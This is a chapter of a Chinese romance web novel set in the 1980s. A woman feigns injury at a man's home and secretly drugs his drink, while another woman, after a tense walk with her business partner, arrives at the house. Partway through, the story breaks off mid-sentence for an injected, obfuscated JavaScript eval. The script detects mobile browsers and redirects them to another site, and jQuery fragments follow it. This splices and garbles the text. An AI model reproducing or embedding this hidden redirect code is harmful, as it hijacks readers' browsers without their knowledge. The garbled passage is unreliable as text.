19. 第 19 章

作品:《八零之得遇良人

    夏夜的微风带着白日的余温,吹过寂静的胡同,卷起些许尘土。林家小院里,一盏十五瓦的电灯泡在屋檐下散发着昏黄的光晕,勉强照亮一方天地,却将更多的角落留在暧昧的阴影里。


    苏丽娜坐在林大娘屋里那张铺着干净蓝印花布床单的土炕沿上,身下的炕席还残留着白日晒过的阳光气息。她微微蹙着精心描画的柳眉,一手轻轻揉着看似扭伤的脚踝,一副弱不禁风的模样。那双时髦的、如今却断了跟的高跟鞋,像两个被遗弃的华丽符号,歪倒在炕沿下的青砖地上。


    林默蹲在院里的光晕下,就着那点昏暗的光线,专注地修理着那辆女式二六坤车的链条。他粗粝的手指沾满了黑乎乎的机油,与银亮的金属车链形成对比,动作却一如既往的熟练流畅,只听“咔哒”几声轻响,链条便稳稳地复位了。他只想赶紧结束这莫名其妙的状况,把这个不速之客送走。


    “林默哥…”苏丽娜软糯黏腻的声音又从屋里飘出来,像蛛丝一样试图缠绕上他,“我脚踝还是疼得厉害…你家里有没有止疼的药膏或者药酒什么的?哎呦…”


    林默的动作顿了一下,眉宇间掠过一丝不易察觉的烦躁。他放下工具,起身去母亲屋里翻找。林大娘常年劳作,免不了磕碰扭伤,炕头柜子里常备着几贴味道冲鼻的虎骨麝香膏。他找出了一贴,隔着那副旧门帘递了进去。


    苏丽娜接过膏药,慢条斯理地撕着那层油纸,发出细微的刺啦声,往脚踝上贴时,嘴里还配合地发出细细的、惹人怜爱的抽气声。“林默哥…你能不能帮我贴一下?后面…我有点够不着…”


    林默站在门外,身影被灯光拉得长长的,纹丝不动,丝毫没有要跨过那道门槛的意思。苏丽娜等了一会儿,只等到门外一片沉默,只好悻悻地自己胡乱贴好了,心里暗骂这哑巴像块又冷又硬的石头。


    又过了一会儿,她的目光扫过院里小木桌上那只还没收走的、只剩点酱油汤底的空面碗,眼珠一转,又找到了话题,故作惊讶地提高声音:“林默哥,你晚上就吃这个啊?清汤挂面怎么行?一点油水都没有!大娘不在家,你也不能这么糊弄自己啊!要不…我帮你做点吃的吧?我手艺还不错的…”她试图用一种熟稔的、带着关切的口吻拉近距离。


    林默正用废棉纱擦着手上的油污,闻言头也没抬,只是幅度很大地摆了摆手,拒绝得干脆利落。


    “可是…可是我晚上还没吃饭呢…”苏丽娜立刻转换策略,语气里带上委屈和撒娇的意味,“又摔了这一跤,现在又累又饿…林默哥,你这儿有什么现成的吃的吗?随便给我弄点就行,垫垫肚子…”


    林默擦手的动作停了下来。他直起身,看着已经修好、链条锃亮的自行车,又瞥了一眼屋里那个不断制造事端、拖延时间的人,脸上露出了明显的不耐烦。他指了指修好的车,又果断地指了指门外,意思明确无误:车已修好,请离开。


    苏丽娜见他软硬不吃,油盐不进,心下暗恨,指甲几乎掐进掌心。脸上却挤出一个更加苍白可怜的表情,声音也虚弱了几分:“林默哥,我知道你烦我…不想看见我…可我好歹也算个客人吧?走了这么远的路,又受了伤,连杯水都舍不得给我喝吗?我嗓子真的干得快要冒烟了…”


    林默深吸了一口气,胸腔起伏了一下,似乎在极力压下翻涌的烦躁。他最终还是转身进屋,从桌上的暖水瓶里倒了杯白开水,递给她。动作间带着明显的疏离。


    苏丽娜接过杯子,却不喝,一双眼睛水汪汪地看着林默,语气幽幽的,充满了哀怨和不甘:“林默哥,咱们…难道就不能心平气和地好好谈谈吗?就当是…给我,也给你自己一个彻底的了断。以水代酒,我们就喝这一杯,把心里的话说开,以后…我也就彻底死心了,再也不来烦你了,行吗?”她说着,眼神里充满了卑微的祈求和无尽的遗憾,表演得淋漓尽致。


    林默看着她,沉默了片刻。彻底了断,不再纠缠——这确实是他想要的。他点了点头。


    只见苏丽娜挣扎着从炕沿挪下来,单脚跳着够到炕桌边的茶盘,那里放着几个干净的玻璃杯。她拿起两个杯子,背对着林默,似乎是在倒水。林默正好转身,低头收拾着自己那个装着各种工具的帆布袋,发出轻微的金属碰撞声。


    就在这短暂的间隙,苏丽娜的心脏狂跳得像要冲出胸腔!她以极快的速度,从连衣裙贴身口袋里摸出一个极小的小纸包,用颤抖的手指将里面一些无味的白色粉末,迅速抖入了其中一个杯子里!然后急忙端起暖水瓶冲水,粉末瞬间融化,无踪无迹。


    她的后背惊出了一层冷汗,手指冰凉。


    林默毫无察觉。他拉好工具袋的拉链,转回身。


    苏丽娜将那只下了药的杯子递向林默,自己则端起另一杯。她看着林默,眼泪说掉就掉,演技精湛:“林默哥,我知道…以前都是我的错,是我不懂事,是我眼皮子浅,伤了你的心…可我心里真的…真的一直都有你。我知道你现在可能再也不信了…但我还是想告诉你…”她哭得梨花带雨,情真意切,仿佛受了莫大的委屈。


    林默面无表情地看着她,眼神里没有一丝波澜。他拿出随身携带的笔记本和铅笔,就着昏暗的灯光,快速而用力地写下几个字,递到她面前:「过去的事,不必再提。绝无可能。祝你以后找到好的归宿。」


    字迹冷硬,斩钉截铁,没有任何转圜的余地。


    苏丽娜看着那行字,眼泪流得更凶,心里却发出一声冰冷的嗤笑。她举起杯子,声音哽咽颤抖,充满了绝望的仪式感:“好…好…我明白了…彻底明白了…那…那就喝了这杯水,从此以后,桥归桥,路归路…你我…两不相欠,再不相干…”


    林默只想尽快结束这场令人窒息的闹剧,闻言,毫不犹豫地举起那只杯子。苏丽娜紧张得几乎屏住呼吸,紧紧盯着他。


    杯子碰到嘴唇,林默仰头,“咕咚咕咚”几口,将杯中的水一饮而尽,动作干脆利落,仿佛喝下的不是了断的“酒”,而是驱赶麻烦的符水。


    苏丽娜看着他喉结滚动,将水喝得一滴不剩,悬到嗓子眼的心终于重重落下,一股扭曲的、疯狂的得逞感瞬间淹没了她。她也装模作样地喝了一口自己杯里的水。


    另一边,宋晚晚和赵新民刚从饭馆出来。国营饭馆里油腻的饭菜味似乎还黏在身上。溜肉段确实名不虚传,但宋晚晚心里惦记着去林家,吃得有些心不在焉。


    赵新民推着自行车,坚持要送她,被她再次拒绝:“真不用了,时间还不算太晚,我自己回去就行,我还得拐去林大娘家送点东西呢。”


    “送什么好东西啊?还专门跑一趟?”赵新民状似随意地问道,目光却精准地落在她手里拎着的网兜和那个用花布包好的包裹上。


    “没什么,就给大娘做了件衣服,顺便带了点吃的。”宋晚晚含糊地应道,并不想多说。


    “吃的?”赵新民却来了兴趣,凑近了些,借着路灯打量,“哟,这麻花看着不错,还是‘益民’铺子的,他家麻花最酥脆。给林大娘带的?她牙口挺好嘛。”


    宋晚晚被他点破,只好点点头:“嗯,林默也挺爱吃的。”她这话本是无心。


    赵新民脸上的笑容却淡了些,一股酸溜溜的味道冒了上来,话里带上了刺:“呵,晚晚同志,你这‘报恩’可真是报得无微不至啊。又是做衣服又是买零嘴的,不知道的,还以为林默才是跟你合伙做生意的人呢。”


    宋晚晚听出他话里的不对劲,脚步微顿,侧头看了他一眼,语气淡了些:“赵新民,你这话是什么意思?”


    “我能有什么意思?”赵新民耸耸肩,看似玩笑,眼神却认真,“我就是好奇,你跟林默…到底算怎么回事?你对他…是个什么想法?”他紧紧盯着宋晚晚,不放过她脸上任何一丝表情。


    宋晚晚的心像是被什么东西突然撞了一下,猛地收紧。她对林默是什么想法?这个问题她自己都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448869|185228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下意识地在回避,此刻被赵新民这样直白地问出来,让她瞬间生出一种被窥探的警惕和莫名的慌乱。她的脸色微微沉了下来,语气带着明显的防备和疏离:“赵新民同志,你打听这个干什么?这跟我们的合作有关系吗?”


    赵新民没想到她反应这么大,愣了一下,反而更较真了:“怎么没关系?我作为你的合伙人,关心一下合作伙伴的交友情况,避免一些不必要的麻烦,不是很正常吗?你就说嘛,你觉得林默这人怎么样?”


    宋晚晚被他追问得有些恼火,但又不好真的撕破脸,只得硬邦邦地甩出一句:“林默是我的恩人,我感激他,敬重他。这个答案你满意了吗?”她刻意用了“恩人”、“敬重”这样的词,试图将林默推到一个安全而遥远的距离。


    “恩人…哦…”赵新民咀嚼着这个词,心里的酸意却没减少半分,反而因为她的回避而更加发酵。他话锋一转,指向自己,带着几分期待和试探:“那…我呢?晚晚,你觉得我这个人怎么样?”


    听到问题转向赵新民自己,宋晚晚顿时松了口气,想也没想,语速飞快地半开玩笑答道:“你啊……勉强算个好人吧!”


    “勉强?!”赵新民像是被踩了尾巴,差点跳起来,声音都提高了八度,“宋晚晚同志,你摸着良心说,我赵新民对你怎么样?从认识到现在,我哪点对不起你了?布料给你赊着,房子给你住着,路子给你蹚着,我虽然看着是吊儿郎当了点,我可对任何人都没这么上心过!”他半真半假地抱怨着,眼神里却透着认真。


    宋晚晚见他急了,赶紧打住话头,脸上堆起营业式的笑容,话里话外把他往生意伙伴的身份上按:“行行行!你最好!你是天字第一号大好人!行了叭?你当然得对我好了,我现在可是你的摇钱树,你的财神爷!不对摇钱树好,你不是傻嘛?对不对?”她打着哈哈,试图把刚才那点暧昧和尴尬轻松带过。


    赵新民看着她巧笑倩兮、四两拨千斤的样子,一肚子的话又被堵了回去,心里憋闷得不行,像是一拳打在了棉花上。可偏偏她这副机灵又带点小狡猾的模样,又让他觉得格外生动有趣,比他认识的那些要么呆板要么娇气的姑娘强了不知多少倍。他越是得不到确切的答案,就越是心痒难耐,目光落在她带着笑意的眼睛上,竟一时有些移不开。


    两人一路说着,走到了通往林家胡同的岔路口。宋晚晚坚决不让赵新民再送,提着东西,转身走进了略显昏暗的胡同。


    赵新民推着自行车,站在原地,看着她纤细的背影消失在胡同的阴影里,心里像是打翻了五味瓶,最后只剩下一种强烈的、势在必得的决心。


    宋晚晚提着东西,快步走向林家小院。越靠近,心里那份莫名的期待和隐隐的雀跃就越明显。院门虚掩着,没有从外面挂上那把熟悉的铁锁。她敲了敲门,里面没有回应。


    “林默?大娘?”她又抬高声音叫了两声,侧耳倾听,院里只有夏虫的唧鸣。


    她心里升起一股疑惑。按照林家的习惯,如果出门,肯定会从外面把门锁好。现在门没锁,家里肯定有人,为什么不开门?难道是林大娘一个人在家出了什么事?摔倒?或是别的意外?


    一股担忧迅速压过了之前的雀跃,她也顾不得那么多,轻轻推开了院门。


    院子里静悄悄的,屋檐下那盏昏黄的灯泡是唯一的光源,将物体的影子拉得有些变形。然而,她的目光第一时间就被墙根下那辆熟悉的、女式二六自行车抓住了——那不是苏丽娜的车吗?她怎么会在这里?还在这样一个晚上?


    宋晚晚的心猛地往下一沉,一种酸涩的、闷闷的、极其不舒服的情绪迅速弥漫开来,堵得她心口发慌。她捏紧了手里给林默买的麻花和给林大娘做的新衣服,指尖微微发凉。她在门口迟疑了片刻,最终还是深吸一口气,朝着亮着灯光的正屋走去。


    屋门也是虚掩着的,透出更多的光亮。她伸出手,推开了那扇门……